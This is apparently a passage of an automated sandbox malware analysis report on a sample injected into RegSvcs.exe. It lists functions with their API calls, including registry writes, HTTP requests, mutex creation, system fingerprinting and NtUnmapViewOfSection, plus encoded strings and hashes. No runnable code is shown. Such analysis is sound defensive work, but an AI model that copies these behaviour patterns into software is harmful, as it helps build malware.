, xrefs: 00408140
MypyFvpRFeM=, xrefs: 00406A53

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Value$Gdip$CloseImageMetricsObjectOpenSystem$AuthorityCreate$BitmapCompatibleDeleteEncodersGdiplusNameQuerySelect$AccountCountDisposeEnumFileFromIdentifierInfoLookupReleaseSaveShutdownSizeStartupUser
String ID: $($JNQu7I==$LNKu7I==$MypyFvpRFOk=$MypyFvpRFXY=$MypyFvpRFeI=$MypyFvpRFeM=$NtUnmapViewOfSection$UtPn5zJk$VhamSOYAKv==$XypyFvp=$image/jpeg$invalid stoi argument$ntdll.dll$stoi argument out of range
API String ID: 1729688432-3865892106
Opcode ID: dd4e930bae907b470c58cdb3144f96f2cf78295685fe69f6e875f319f5d3e0da
Instruction ID: 1abf1203684e5725369dd6c775d85895287d1c8d53bdd134cb033388427fe81f
Opcode Fuzzy Hash: dd4e930bae907b470c58cdb3144f96f2cf78295685fe69f6e875f319f5d3e0da
Instruction Fuzzy Hash: BED22571A001189BDB14DF28CD85BDDBB75EF45304F5082AEF809A72D2DB389A94CF99

Function 0040B700 Relevance: 32.7, APIs: 12, Strings: 6, Instructions: 1232COMMON

Download Yara Rule

APIs

Part of subcall function 0040A270: GetTempPathA.KERNEL32(00000104,?,A99F1BC9,?,00000000), ref: 0040A2B7

GetFileAttributesA.KERNELBASE(?,?,00000000,00000000), ref: 0040B77B

Part of subcall function 004061F0: RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 0040639C
Part of subcall function 004061F0: RegQueryValueExA.KERNELBASE(A99F1BC9,?,00000000,00000000,?,00000400,?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 004063CA
Part of subcall function 004061F0: RegCloseKey.KERNELBASE(A99F1BC9,?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 004063D6

GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0040B8B5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0040B9EF

Part of subcall function 004061F0: RegOpenKeyExA.ADVAPI32(80000001,80000001,00000000,000F003F,00000001), ref: 004064E3
Part of subcall function 004061F0: RegSetValueExA.ADVAPI32(80000001,?,00000000,00000002,?,?), ref: 00406511
Part of subcall function 004061F0: RegCloseKey.ADVAPI32(80000001), ref: 0040651A

GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0040BB29
GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0040BC63

Part of subcall function 004061F0: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,80000002), ref: 0040663C
Part of subcall function 004061F0: RegSetValueExA.ADVAPI32(80000002,?,00000000,00000004,?,00000004), ref: 0040665F
Part of subcall function 004061F0: RegCloseKey.ADVAPI32(80000002), ref: 00406668

GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0040BD9D
GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0040BED7

Part of subcall function 004061F0: RegOpenKeyExA.KERNELBASE(?,00000000), ref: 004067BD

GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0040C011

Part of subcall function 004061F0: RegQueryInfoKeyW.ADVAPI32 ref: 00406894
Part of subcall function 004061F0: RegEnumValueA.KERNELBASE(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 004068E0

GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0040C14B
GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0040C285
GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0040C3BF

Part of subcall function 004061F0: RegCloseKey.ADVAPI32(?), ref: 00406D5E

GetFileAttributesA.KERNELBASE(?,?,00000000,00000000), ref: 0040C4FF

Part of subcall function 004093D0: GetVersionExW.KERNEL32(0000011C,A99F1BC9,74DF0F00), ref: 0040944A
Part of subcall function 004093D0: GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004094AB
Part of subcall function 004093D0: GetProcAddress.KERNEL32(00000000), ref: 004094B2

Part of subcall function 004093D0: GetNativeSystemInfo.KERNELBASE(?), ref: 00409573

Part of subcall function 004093D0: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00409577

Strings

QXYv5UGm, xrefs: 0040C4B6
QQOJ, xrefs: 0040BE94
RQCHOs==, xrefs: 0040BAE6
ThYA7yYl, xrefs: 0040C242
UXYy4yYq, xrefs: 0040C37C
QSOr6et=, xrefs: 0040B872

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AttributesFile$CloseOpenValue$Info$QuerySystem$AddressEnumHandleModuleNativePathProcTempVersion
String ID: QQOJ$QSOr6et=$QXYv5UGm$RQCHOs==$ThYA7yYl$UXYy4yYq
API String ID: 3951112935-997252642
Opcode ID: 60f4cf93c0276b7fde3b0be49ab871fb8c7d27612ddd5aa59fc6009b65d4f455
Instruction ID: f22fc8433aec9f4319cb189039e98dccb5235e087b45ad788ffb1db5e1f2873b
Opcode Fuzzy Hash: 60f4cf93c0276b7fde3b0be49ab871fb8c7d27612ddd5aa59fc6009b65d4f455
Instruction Fuzzy Hash: B592F271A00104DBEF18DBB8CD857DDBB72AB46314F64822EE410B73D6D77E5A808B5A

Function 0040E8D0 Relevance: 25.3, APIs: 7, Strings: 7, Instructions: 764
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 0040E91D
CoInitialize.OLE32(00000000), ref: 0040EC54
CoCreateInstance.OLE32(0045DFB0,00000000,00000001,0045E010,?), ref: 0040EC73
CoUninitialize.OLE32 ref: 0040EC81
CoUninitialize.OLE32 ref: 0040F055
CoUninitialize.OLE32 ref: 0040F06C
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040F455

Strings

aCG26zBXEt8=, xrefs: 00410C03
aCG26vdmEr==, xrefs: 00410B62, 00410DC4
DLdvEKPkEN0=, xrefs: 0040FD9D
UzYVOs==, xrefs: 00410036, 00410698
LNPvEKPk, xrefs: 0040FAFE
LNPPv9==, xrefs: 0040FD73
@3P, xrefs: 0040F3EE

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateInitializeInstanceNameUser
String ID: @3P$DLdvEKPkEN0=$LNPPv9==$LNPvEKPk$UzYVOs==$aCG26vdmEr==$aCG26zBXEt8=
API String ID: 1775936440-2745974841
Opcode ID: 8dbe1dc47cfbc14bb988722cbb829c540bea7da7def1ee1fa22d68c10a15f972
Instruction ID: d94c59ba96bf58fdea2299b4189d095cea6882005b870254fb1f8c5aa26f2192
Opcode Fuzzy Hash: 8dbe1dc47cfbc14bb988722cbb829c540bea7da7def1ee1fa22d68c10a15f972
Instruction Fuzzy Hash: 4062D071A002289FDF24DF24CD88BDDB7B5AF49304F5085E9E809A7291DB399B88CF55

Function 004105B0 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 312
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000005DC,A99F1BC9,?,00000000), ref: 00410642
InternetOpenW.WININET(0045DB58,00000000,00000000,00000000,00000000), ref: 00410651
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00410675
HttpOpenRequestA.WININET(?,00000000), ref: 004106BF
HttpSendRequestA.WININET(?,00000000), ref: 0041077F
InternetReadFile.WININET(?,?,000003FF,?), ref: 00410831
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 004108E0
InternetCloseHandle.WININET(?), ref: 00410907
InternetCloseHandle.WININET(?), ref: 0041090F
InternetCloseHandle.WININET(?), ref: 00410917

Strings

aCG26zBXEt8=, xrefs: 00410C03
aCG26vdmEr==, xrefs: 00410B62, 00410DC4
invalid stoi argument, xrefs: 00412C14
UzYVOs==, xrefs: 00410036, 00410698
stoi argument out of range, xrefs: 00412C0A

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: UzYVOs==$aCG26vdmEr==$aCG26zBXEt8=$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-2534103556
Opcode ID: 18dda18013ec16b020916997e5ab615e17d0b909853951990ecdae6b3ded0351
Instruction ID: 2e690d232329263d9ab4458541f63023bbecdb709bd55ac3ccf9d53c9ca6ac71
Opcode Fuzzy Hash: 18dda18013ec16b020916997e5ab615e17d0b909853951990ecdae6b3ded0351
Instruction Fuzzy Hash: E1B1C5B16102189BDB24DF28CC84BDEBB75EF45344F5041AAF909972D2D7B89AC0CF99

Function 004093D0 Relevance: 18.0, APIs: 6, Strings: 4, Instructions: 473
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(0000011C,A99F1BC9,74DF0F00), ref: 0040944A
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004094AB
GetProcAddress.KERNEL32(00000000), ref: 004094B2
GetNativeSystemInfo.KERNELBASE(?), ref: 00409573
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00409577

Strings

MepAGI==, xrefs: 00409882
MepzG9==, xrefs: 0040992A
MepzHI==, xrefs: 00409732
MepAF9==, xrefs: 004097DA

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProcVersion
String ID: MepAF9==$MepAGI==$MepzG9==$MepzHI==
API String ID: 374719553-2967035976
Opcode ID: 7181936110e7d870de8c12fa1c602ce8ffe776a14a577e8357ace3040553704a
Instruction ID: 526a03539c261f4202bfb8ced3c8a055484567f0761060618e7847c9c87492ba
Opcode Fuzzy Hash: 7181936110e7d870de8c12fa1c602ce8ffe776a14a577e8357ace3040553704a
Instruction Fuzzy Hash: 37020871E00254ABDB14EB68DC5639E77719B45714F5002AEE8056B3C3EB3D4E808BCB

Function 0043E98E Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 330
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0043EA4B
_free.LIBCMT ref: 0043EC17
_free.LIBCMT ref: 0043EC8F
GetTimeZoneInformation.KERNELBASE(?,?,00000000,?,?,00000000,?,?,?,?,?,?,0043EE50,?,?,00000000), ref: 0043ECA1

Strings

PC, xrefs: 0043E9DD, 0043E998, 0043EA73, 0043EACE, 0043EB02, 0043EB3F, 0043EB94, 0043EBF9, 0043EC39
Eastern Standard Time, xrefs: 0043ED3A
PC, xrefs: 0043EA89, 0043EAC5, 0043EA92, 0043EACC
XC, xrefs: 0043EC4A, 0043ED5B, 0043EC50
Eastern Summer Time, xrefs: 0043ED4E

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$PC$PC$XC
API String ID: 597776487-2916830766
Opcode ID: bccf74229683a265bf2189c4831500a881b958bb7c632b10747b3e7857b7b577
Instruction ID: e60bc0aa405f7f4db4b80e96c1ff7416ed8d32a2361415e233af50b5757bc386
Opcode Fuzzy Hash: bccf74229683a265bf2189c4831500a881b958bb7c632b10747b3e7857b7b577
Instruction Fuzzy Hash: 24A12671901215ABDB10AFA7DC42AAF7BB8EF08314F14506FF901A72D1E7789E01CB99

Function 004091B0 Relevance: 6.3, APIs: 4, Instructions: 324
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(0000011C,A99F1BC9,74DF0F00), ref: 0040944A
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004094AB
GetProcAddress.KERNEL32(00000000), ref: 004094B2
GetNativeSystemInfo.KERNELBASE(?), ref: 00409573

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AddressHandleInfoModuleNativeProcSystemVersion
String ID:
API String ID: 2167034304-0
Opcode ID: c6c10183ea958272209e3d5f2c441c781a214321634d0b86db87c7ec6917dcd1
Instruction ID: 6ce00a51f6f38b025a26ba68c37734fa0c93095d71df8d333d2419daf241495d
Opcode Fuzzy Hash: c6c10183ea958272209e3d5f2c441c781a214321634d0b86db87c7ec6917dcd1
Instruction Fuzzy Hash: 36C10671E001149BDB14DF68DD85B9EB775EB49314F5082AEE814AB2C2DB389E80CB99

Function 0041F4B0 Relevance: 40.1, APIs: 4, Strings: 18, Instructions: 1574registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004061F0: GetUserNameA.ADVAPI32 ref: 004075BA
Part of subcall function 004061F0: LookupAccountNameA.ADVAPI32 ref: 00407600
Part of subcall function 004061F0: GetSidIdentifierAuthority.ADVAPI32(?), ref: 0040760D

RegOpenKeyExA.KERNELBASE(80000002,System,00000000,000F003F,?,00000000), ref: 0041F592
RegCloseKey.KERNELBASE(80000002), ref: 0041F5A8
GetUserNameA.ADVAPI32 ref: 0041F632
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041F6BD

Part of subcall function 004061F0: RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 0040639C
Part of subcall function 004061F0: RegQueryValueExA.KERNELBASE(A99F1BC9,?,00000000,00000000,?,00000400,?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 004063CA
Part of subcall function 004061F0: RegCloseKey.KERNELBASE(A99F1BC9,?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 004063D6

Part of subcall function 004061F0: RegOpenKeyExA.ADVAPI32(80000001,80000001,00000000,000F003F,00000001), ref: 004064E3
Part of subcall function 004061F0: RegSetValueExA.ADVAPI32(80000001,?,00000000,00000002,?,?), ref: 00406511
Part of subcall function 004061F0: RegCloseKey.ADVAPI32(80000001), ref: 0040651A

Part of subcall function 004061F0: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,80000002), ref: 0040663C
Part of subcall function 004061F0: RegSetValueExA.ADVAPI32(80000002,?,00000000,00000004,?,00000004), ref: 0040665F
Part of subcall function 004061F0: RegCloseKey.ADVAPI32(80000002), ref: 00406668

Strings

System, xrefs: 0041F588
ZBP8, xrefs: 0041F7C1
aRF8, xrefs: 0041F935
bCN8, xrefs: 0041F765
YSx8, xrefs: 0041F84B
YSN8, xrefs: 0041F793
ceP=, xrefs: 004207DF, 004208FD
cXF8, xrefs: 0041F8D3
NNTzFs==, xrefs: 0041F8F0
bX28, xrefs: 0041F72D
diB8, xrefs: 0041F90D
Yh 8, xrefs: 0041F879
V, xrefs: 00420917
246122658369, xrefs: 0041F4FB, 0041F927
26467e, xrefs: 0041F8C5
cBB8, xrefs: 0041F81D
bYB8, xrefs: 0041F8A7
dRT8, xrefs: 0041F7EF

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CloseNameOpen$Value$User$AccountAuthorityFileIdentifierLookupModuleQuery
String ID: 246122658369$26467e$NNTzFs==$System$V$YSN8$YSx8$Yh 8$ZBP8$aRF8$bCN8$bX28$bYB8$cBB8$cXF8$ceP=$dRT8$diB8
API String ID: 4106312383-3121494839
Opcode ID: 398ddd5d0ef88610d9970279faba03fd88ce918896392dabd0b45a58d72759e2
Instruction ID: e7717660ce22f1301982580ddf77cf5500e32532105c492a5e46472f1cedce7e
Opcode Fuzzy Hash: 398ddd5d0ef88610d9970279faba03fd88ce918896392dabd0b45a58d72759e2
Instruction Fuzzy Hash: BED21A71A001688BEB29DB28DE897DDBA769F82304F9081DDE408A72D7D7394FC48F55

Function 0043EC2F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 167
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNELBASE(?,?,00000000,?,?,00000000,?,?,?,?,?,?,0043EE50,?,?,00000000), ref: 0043ECA1
_free.LIBCMT ref: 0043EC8F

Part of subcall function 004381B6: HeapFree.KERNEL32(00000000,00000000,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?), ref: 004381CC
Part of subcall function 004381B6: GetLastError.KERNEL32(?,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?,?), ref: 004381DE

_free.LIBCMT ref: 0043EE59

Strings

PC, xrefs: 0043E9DD, 0043E998, 0043EA73, 0043EACE, 0043EB02, 0043EC39
Eastern Standard Time, xrefs: 0043ED3A
XC, xrefs: 0043EC4A, 0043ED5B, 0043EC50
Eastern Summer Time, xrefs: 0043ED4E

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$PC$XC
API String ID: 2155170405-467152466
Opcode ID: f5e65e2b1882837ef4a1d0857077e9e3a8a17de7a9a0f4c2296c0059c4963ff1
Instruction ID: 1bb49f5745b54445c7c9fd8f71209821471ce9ef43585df445a876e9104ab678
Opcode Fuzzy Hash: f5e65e2b1882837ef4a1d0857077e9e3a8a17de7a9a0f4c2296c0059c4963ff1
Instruction Fuzzy Hash: AC51F671901225AACB10AFA7DC06A9E7B78EF08354F10516FF414A72D1EBB89E05CB99

Function 0043080C Relevance: 7.6, APIs: 5, Instructions: 141
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,0043073E), ref: 0043082E
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00430888
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0043073E,?,000000FF,00000000,00000000), ref: 00430916
__dosmaperr.LIBCMT ref: 0043091D
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 0043095A

Part of subcall function 00430B82: __dosmaperr.LIBCMT ref: 00430BB7

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 749dbd5d499d1470d264ec04480df794728a01329d0d6bbc761b316cee2ec38d
Instruction ID: a24e2a278018e4b14ecf551288e5960cc595b432ca505c8d4c5f1a48b880b77d
Opcode Fuzzy Hash: 749dbd5d499d1470d264ec04480df794728a01329d0d6bbc761b316cee2ec38d
Instruction Fuzzy Hash: 47414FB5900308ABDB24EFB6DC55AABBBF9EF4C710B00562EF556D3612E7349940CB24

Function 0040C6D0 Relevance: 6.0, APIs: 4, Instructions: 36
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000096), ref: 0040C6D6
CreateMutexA.KERNELBASE(00000000,00000000,00467494), ref: 0040C6F4
GetLastError.KERNEL32 ref: 0040C6FC
GetLastError.KERNEL32 ref: 0040C70D

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast$CreateMutexSleep
String ID:
API String ID: 3645482037-0
Opcode ID: 7bf80919f9e91dceb534b8465ab183818ec6dee3f15917d6dd5352bcdab66ccc
Instruction ID: 05b33c329f834a101d1e8a6918923c0cc36b0f96f91a03b02b8734a619088f86
Opcode Fuzzy Hash: 7bf80919f9e91dceb534b8465ab183818ec6dee3f15917d6dd5352bcdab66ccc
Instruction Fuzzy Hash: 3BE01A30248341EBE7505B6CED8DB1F3A26D790B62F600535EA1AD75E7DB7988808A1E

Function 0043ED89 Relevance: 4.6, APIs: 3, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0043EE59

Part of subcall function 0043EC2F: _free.LIBCMT ref: 0043EC8F
Part of subcall function 0043EC2F: GetTimeZoneInformation.KERNELBASE(?,?,00000000,?,?,00000000,?,?,?,?,?,?,0043EE50,?,?,00000000), ref: 0043ECA1

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 82eaa0d685ad11090675d34a3f10cb6465b1a0037b6e02a5c3dda1bb3ca6be4b
Instruction ID: 73058ef59dd7046185ead80c26faa716bd819d22ba9cfe356290d376555c15a2
Opcode Fuzzy Hash: 82eaa0d685ad11090675d34a3f10cb6465b1a0037b6e02a5c3dda1bb3ca6be4b
Instruction Fuzzy Hash: 46212C7280131556CB20AB37DC4AA9B777CDF88324F11126FF465A32C2EF389D45895D

Function 004306A4 Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41254b0cab8666a23a93eb46c529210e015b8c12debe9a9a25af724ae25d77a7
Instruction ID: 61d7ac309e15a0dd2b1112fe8d0e6e541833381e3abde1be50b0bf788e8b099f
Opcode Fuzzy Hash: 41254b0cab8666a23a93eb46c529210e015b8c12debe9a9a25af724ae25d77a7
Instruction Fuzzy Hash: A3214B31500208BBEB107F699C42B9F37299F45778F204326F8347B2D1C778AE0596A9

Function 0043097C Relevance: 3.1, APIs: 2, Instructions: 54
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FileTimeToSystemTime.KERNEL32(00000000,?,?,?,?,004308B3,?,?,00000000,00000000), ref: 004309AA
SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?,?,?,?,004308B3,?,?,00000000,00000000), ref: 004309BE

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 083b45ba5e4f5ba8717be5abdb87d3da99cbf17a84dc3f54d2d5a640384f059b
Instruction ID: e8b1224c30455b4454d1d7bc614790d12a5377c451a15f0158bb94fcca1467ba
Opcode Fuzzy Hash: 083b45ba5e4f5ba8717be5abdb87d3da99cbf17a84dc3f54d2d5a640384f059b
Instruction Fuzzy Hash: 77111CB290020CABDB00DF95C945BDFB7BCAF4C311F505367E516E6181EB34EA458B65

Function 00420DB0 Relevance: 3.0, APIs: 2, Instructions: 23
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040C6D0: Sleep.KERNELBASE(00000096), ref: 0040C6D6
Part of subcall function 0040C6D0: CreateMutexA.KERNELBASE(00000000,00000000,00467494), ref: 0040C6F4
Part of subcall function 0040C6D0: GetLastError.KERNEL32 ref: 0040C6FC
Part of subcall function 0040C6D0: GetLastError.KERNEL32 ref: 0040C70D

Part of subcall function 0041F4B0: RegOpenKeyExA.KERNELBASE(80000002,System,00000000,000F003F,?,00000000), ref: 0041F592
Part of subcall function 0041F4B0: RegCloseKey.KERNELBASE(80000002), ref: 0041F5A8

Part of subcall function 004061F0: RegOpenKeyExA.KERNELBASE(?,00000000), ref: 004067BD
Part of subcall function 004061F0: RegQueryInfoKeyW.ADVAPI32 ref: 00406894

CreateThread.KERNELBASE ref: 00420D90
Sleep.KERNELBASE(00007530), ref: 00420DA5

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CreateErrorLastOpenSleep$CloseInfoMutexQueryThread
String ID:
API String ID: 2150463253-0
Opcode ID: 9c5c56c67b97ed114369958bf5c8b56eb1ac444260a1130bafd3c3612b7511a9
Instruction ID: 3b1eac4e0a60303c1dff9b400d2025ec4af11ec8799795f63c25612d63d1b09b
Opcode Fuzzy Hash: 9c5c56c67b97ed114369958bf5c8b56eb1ac444260a1130bafd3c3612b7511a9
Instruction Fuzzy Hash: C4E086317D4324A7E22037E26C07F9D39455B04F56FA40227B7092A0E39DDC358045AF

Function 0040B250 Relevance: 1.7, APIs: 1, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExW.KERNEL32(00000002,?,?,A99F1BC9,74DF0F00), ref: 0040B2A6

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 8935a04053b771ff7606a8fd0103d9a7a7e9d0e16d527a16f0351c7dd7226f59
Instruction ID: 050d900616f6a6a152b7b8354c128e67105c74911c083c46fea7e7db7a4b0cf1
Opcode Fuzzy Hash: 8935a04053b771ff7606a8fd0103d9a7a7e9d0e16d527a16f0351c7dd7226f59
Instruction Fuzzy Hash: 5051A471A012289BCB20DF64DC887DDB7B4EF58314F5006EAD819A7291DB786F84CF99

Function 00430632 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00430699

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5806a22f12cb4afe1abbd2cb36b595270268b3ae57944d2dda9f9ec6912ba8be
Instruction ID: 35455fcf37491ee6bd69110a5b47a0bdc70de66d87c835a3063b810ddd23e912
Opcode Fuzzy Hash: 5806a22f12cb4afe1abbd2cb36b595270268b3ae57944d2dda9f9ec6912ba8be
Instruction Fuzzy Hash: E101AC71D04218AEDF01AFA99C027DE7FF49F88324F14416BF818E61D5EA748A60C78C

Function 00420CF0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004061F0: RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 0040639C
Part of subcall function 004061F0: RegQueryValueExA.KERNELBASE(A99F1BC9,?,00000000,00000000,?,00000400,?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 004063CA
Part of subcall function 004061F0: RegCloseKey.KERNELBASE(A99F1BC9,?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 004063D6

Sleep.KERNELBASE ref: 00420D75

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CloseOpenQuerySleepValue
String ID:
API String ID: 4119054056-0
Opcode ID: 16fb6ca28f44bc769542cee678ba815e9a8f2471971720bd61ea7338c613dabc
